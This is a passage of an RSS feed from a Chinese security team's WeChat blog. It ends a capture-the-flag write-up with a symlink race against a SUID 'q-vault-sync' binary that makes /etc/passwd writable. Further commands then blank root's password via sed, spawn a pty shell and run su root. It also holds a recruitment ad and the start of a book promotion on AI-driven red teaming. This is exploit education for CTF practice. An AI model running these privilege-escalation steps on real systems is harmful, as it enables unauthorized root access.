leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> cmd </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> argv[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">:]:</span><span leaf=""><br/></span><span leaf="">            sys.stdout.write(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;$ </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{cmd}</span></span><span leaf="">\n&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> cmd.startswith(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;WAIT &#34;</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">                wait = float(cmd.split(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34; &#34;</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">)[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">])</span><span leaf=""><br/></span><span leaf="">                sys.stdout.write(cli.recv_some(wait))</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                sys.stdout.write(cli.cmd(cmd))</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">finally</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        cli.close()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> __name__ == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;__main__&#34;</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> SystemExit(main(sys.argv))</span><span leaf=""><br/></span></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.4563758389261745" data-type="png" data-w="894" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030594" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=310472be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjvwqHfehg2NbiclqHVomicneRx7YXpsSQ9fZTTq0kRp4ibZd156mA5HESKGSWLnXaVUKuU5p0UEZ97ddbGOTcPIYF1rqNxcRT0X58UOmoywuog%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">找能提权的东西</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.2629179331306991" data-type="png" data-w="658" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030595" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=ef943f99&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjvwqHfehg2MmXQDL56B2W6icDcebZDic0bibpTgvia0YbgJ5tLWcSdV8WBS9alDkRQORgh63Rb2J9ODXVcboosybpGLDpYTHBbhvQ6Fz3hhkOSg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">发现/usr/local/bin/q-vault-sync，这玩意允许将一个文件“同步”到 /tmp/ 目录下的子目录中。</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">mkdir -p /tmp/exploit</span><span leaf=""><br/></span><span leaf="">echo &#34;test&#34; &gt; /tmp/mykey</span><span leaf=""><br/></span><span leaf=""># 终端 1: 疯狂切换文件与软链接</span><span leaf=""><br/></span><span leaf="">while true; do </span><span leaf=""><br/></span><span leaf="">    touch /tmp/exploit/synced_key.dat; </span><span leaf=""><br/></span><span leaf="">    rm /tmp/exploit/synced_key.dat; </span><span leaf=""><br/></span><span leaf="">    ln -s /etc/passwd /tmp/exploit/synced_key.dat; </span><span leaf=""><br/></span><span leaf="">    rm /tmp/exploit/synced_key.dat; </span><span leaf=""><br/></span><span leaf="">done &amp;</span><span leaf=""><br/></span><span leaf=""># 终端 2: 疯狂运行 SUID 程序直到成功</span><span leaf=""><br/></span><span leaf="">while true; do </span><span leaf=""><br/></span><span leaf="">    /usr/local/bin/q-vault-sync -s /tmp/mykey -d /tmp/exploit 2&gt;/dev/null</span><span leaf=""><br/></span><span leaf="">    ls -l /etc/passwd | grep ctfuser &amp;&amp; break</span><span leaf=""><br/></span><span leaf="">done</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">然后去改密码</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">cp /etc/passwd /tmp/passwd.bak </span><span leaf=""><br/></span><span leaf="">cat /etc/passwd | sed </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;s/^root:x:/root::/&#39;</span></span><span leaf=""> &gt; /tmp/passwd.new </span><span leaf=""><br/></span><span leaf="">cat /tmp/passwd.new &gt; /etc/passwd</span><span leaf=""><br/></span><span leaf="">python3 -c </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;import pty; pty.spawn(&#34;/bin/bash&#34;)&#39;</span></span><span leaf=""><br/></span><span leaf="">su root </span><span leaf=""><br/></span></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.11527377521613832" data-type="png" data-w="694" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030596" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=173b2a72&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjvwqHfehg2ObAWRKxOQBuLhu9etdNtHE6bptX74ibVVVIp9gQDGWe56d2eOXCXz826aMzoDlocDuzBMtyQrLiaw9Z8gnGDvO4eHtC54QZhJ88%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure></div></div><div data-role="outer" label="Powered by 135editor.com" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration: none;caret-color: rgb(34, 34, 34);font-family: &#34;PingFang SC&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: left;background-color: rgb(255, 255, 255);"><div data-role="paragraph" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div data-mpa-template="t" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;text-align: center;"><div data-id="89429" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;border-width: 0px;border-style: none;border-color: initial;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;height: 50px;"><div data-lazy-bgimg="https://mmbiz.qpic.cn/mmbiz_gif/kiaqiahsnxHd4Zt4378tqib1DnnfKYvZAI7sUNZCYmGN2HCMDFDYV5hLu6HrHIK5BynAAwgHGiafFFU7ibYez6mXL4w/640?wx_fmt=gif" data-fail="0" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px auto;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 48px;height: 48px;color: rgb(255, 255, 255);font-size: 16px;line-height: 48px;display: inline-block;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=c1a3fffd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FkiaqiahsnxHd4Zt4378tqib1DnnfKYvZAI7sUNZCYmGN2HCMDFDYV5hLu6HrHIK5BynAAwgHGiafFFU7ibYez6mXL4w%2F640%3Fwx_fmt%3Dgif&#34;);background-size: 100%;background-position: 0px center;background-repeat: no-repeat;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-weight: bold;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;vertical-align: inherit;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">结束</span></span></p></div></div></div></div></div></div><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration: none;font-family: &#34;PingFang SC&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: center;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 20px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: left;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 10px 15px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: 663.453px;vertical-align: top;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 26);border-radius: 0px;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">招新小广告</span></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">ChaMd5 Venom 招收大佬入圈</span></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">新成立组IOT+工控+样本分析 </span><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;letter-spacing: 0.544px;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">长期招新</span></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">欢迎联系</span></span><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;color: rgb(0, 128, 255);"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">admin@chamd5.org</span></span></p></div></div></div><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 20px 0px -30px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: right;transform: translate3d(16px, 0px, 0px);"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px 0px 0px 10px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: 315.719px;vertical-align: top;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: -10px 0px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: center;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: middle;display: inline-block;"><svg xmlns="http://www.w3.org/2000/svg" x="0px" y="0px" viewBox="0 0 536.1 59.2" style="vertical-align: middle;" width="536.1" role="img" aria-label="插图"><g><polygon points="533.5,3 518.7,19.1 503.1,1 486.9,18.6 471.3,0.5 455.1,18.1 439.5,0 422,19.1 424.6,21.5 439.4,5.3 455,23.4    471.2,5.8 486.8,23.9 503,6.3 518.6,24.4 536.1,5.4" fill="#000000"></polygon><g><polygon points="89.5,28.7 82.5,39.3 96.5,39.3" fill="#000000"></polygon><polygon points="68.9,28.7 61.9,39.3 75.9,39.3" fill="#000000"></polygon><polygon points="48.2,28.7 41.3,39.3 55.2,39.3" fill="#000000"></polygon><polygon points="27.6,28.7 20.6,39.3 34.6,39.3" fill="#000000"></polygon><polygon points="7,28.7 0,39.3 14,39.3" fill="#000000"></polygon></g><g><rect x="144.2" y="36.9" width="328.3" height="3.6" fill="rgb(233, 194, 89)"></rect></g><g><rect x="41.3" y="55.6" width="448.1" height="3.6" fill="#000000"></rect></g></g></svg></p></div></div></div></div></div></div></div></div></div><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration: none;caret-color: rgba(0, 0, 0, 0.9);clear: both;min-height: 1em;background-color: rgb(255, 255, 255);text-align: center;"><img alt="图片" class="rich_pages wxw-img" data-ratio="0.5133689839572193" data-s="300,640" data-type="other" data-w="748" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;vertical-align: bottom;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.54px;caret-color: rgb(34, 34, 34);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;height: auto !important;" data-copyright="0" data-imgfileid="100028117" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=89af1f43&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPUubqXlrzBR8nk7RR7HefBINILy4PClwoEMzGCJovye9KIsEjCKwxlqcSFsGJSv3OtYIjmKpXzVyfzlqSicWwxQ%2F640%3Fwx_fmt%3Dother%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1%26tp%3Dwebp%23imgIndex%3D3"/></p><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=b97d7068&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIzMTc1MjExOQ%3D%3D%26mid%3D2247514249%26idx%3D1%26sn%3D4908872cb3350a330c26c64283425c0e">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 07 Apr 2026 10:30:00 +0800</pubDate>
    </item>
    <item>
      <title>红队实战指南：AI驱动的渗透测试、红队评估和漏洞挖掘</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&amp;mid=2247514232&amp;idx=1&amp;sn=7d017000c6bfc7392de13005e7b4fe2f</link>
      <description>红队评估和安全测试的技术与理论正在与人工智能（AI）等新兴技术深度融合。网络安全领域已经不再局限于识别缓冲区溢出或SQL注入漏洞。</description>
      <content:encoded><![CDATA[<p><span>ChaMd5安全团队</span> <span>2026-03-23 09:54</span> <span style="display: inline-block;">辽宁</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=5bb44ab5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FjvwqHfehg2PTOaXsF8uQPWb3vgJFMPYVQypTlmicWgib4yiaVpCGhNFSbNKxsFay5WsNiczPLKwWAibrZuKbcibqmLWKzgG1boTJic1hoiaUlhnerNs%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 8px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;" data-pm-slice="0 0 []"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span textstyle="" style="font-size: 15px;">红队评估和安全测试的技术与理论正在与人工智能（AI）等新兴技术深度融合。网络安全领域已经不再局限于识别缓冲区溢出或SQL注入漏洞。当前，安全专业人员正致力于探索一个全新的领域：具有推理、适应和学习能力的智能系统。</span></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 8px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span textstyle="" style="font-size: 15px;">传统安全工具和技术发生了重大变革。人工智能防御系统能够以毫秒级的速度实现威胁检测与响应，机器学习和生成式人工智能模型可以快速分析大量行为模式，完成原本需要分析师耗时数月才能完成的工作。这场技术革命在推动进步的同时，也带来了新的漏洞和攻击面。</span></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 8px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span textstyle="" style="font-size: 15px;font-weight: bold;">《红队实战指南：AI驱动的渗透测试、红队评估和漏洞挖掘》</span><span textstyle="" style="font-size: 15px;">重点介绍攻击性安全测试领域正在发生的重大变化，为读者提供必要的专业知识。随着各种组织广泛使用人工智能驱动的防护系统，传统的红队评估、渗透测试和漏洞挖掘活动需要进行相应调整。在这一新时代，</span><span textstyle="" style="font-size: 15px;font-weight: bold;">红队成员</span><span textstyle="" style="font-size: 15px;">必须掌握适应当前技术环境的专业技能，而漏洞赏金猎人也需要优化工具和方法，以应对具备预测和实时响应能力的智能防御系统。</span></span></p><p nodeleaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;visibility: visible;"><img data-aistatus="1" alt="图片" class="rich_pages wxw-img js_insertlocalimg" data-ratio="1" data-s="300,640" data-type="jpeg" data-w="800" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: bottom;height: auto !important;width: 409px !important;visibility: visible !important;" type="block" data-imgfileid="100017929" src="https://wechat2rss.xlab.app/img-proxy/?k=fe75fd8e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlFDuP33dcDMmyP5zUHcict9REFf2Pe90ZGEiaGRY3WVtEph38jRcdou32vIZHj9hnJnOdBSas6Cn46ibOEsCXLCyIsa6K5yFhDE4dnTMgmicXNM%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D0"/></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 8px;padding: 0px;outline: 0px;max-width: 